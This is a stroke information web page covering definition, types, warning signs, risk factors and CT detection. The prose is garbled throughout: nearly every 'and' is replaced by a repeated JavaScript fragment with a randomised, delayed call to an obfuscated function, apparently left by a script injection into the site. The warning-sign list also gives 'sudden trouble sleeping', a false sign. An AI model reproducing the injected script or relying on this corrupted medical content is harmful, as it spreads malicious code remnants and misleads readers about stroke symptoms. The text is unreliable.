COMMON TREATMENTS

Cerebral Vascular Accident Stroke

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Stroke is a loss of neurological function caused by interruption of blood flow to the brain. To be classified as a stroke, symptoms must be present for at least 24 hours. Symptoms include impairments of sensory, motor, cognitive, perceptual, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and language functions. Early detection andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and treatment are essential to limited long-term complications.

EFFECTS OF STROKE

TYPES OF STROKE

  1. Ischemic stroke (Most common type) Results from a clot blocking or impaired blood flow which results in deprivation of oxygen andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nutrients to the brain
  2. Hemorrhagic stroke: occurs when blood vessels rupture. It causes blood to leak in or around the brain

EARLY WARNING SIGNS OF STROKE

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  • Sudden numbness on one side of the body
  • Sudden confusion
  • Sudden trouble sleeping
  • Sudden trouble walking
  • Sudden severe headaches

RISK FACTORS

  • Hypertension
  • Heart disease
  • Diabetes
  • Stroke risk is increased 4-6 times in patients with HTN above 160/95 mm Hg
  • Increased with elevated total cholesterol andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and low-density lipoprotein (LDL) cholesterol andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and decreased with higher levels of high density lipoprotein (HDL)
  • Atrial fibrillation is an independent risk factor
  • Transient ischemic attack (TIA): 10% of these individuals will have a major stroke within 90 days andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 5% within 2 days

Strokes are preventable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and listed below are behaviors that can be changed in order to reduce your chances of having a stroke.

MODIFIABLE RISK FACTORS

  • Smoking
  • Obesity
  • Lack of exercise
  • Diet: control of cholesterol andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lipids
  • Excessive alcohol consumption

In some cases, people are predisposed to having strokes because of factors that are out of our control. Below is a list of things that are inherent andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and thus non-modifiable as it relates to the risks associated with strokes.

NON-MODIFIABLE RISK FACTORS

  • Age
  • Gender
  • Race
  • Family history

DETECTION OF STROKE

Computed tomography (CT) is used to differentiate between ischemic stroke andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hemorrhagic stroke.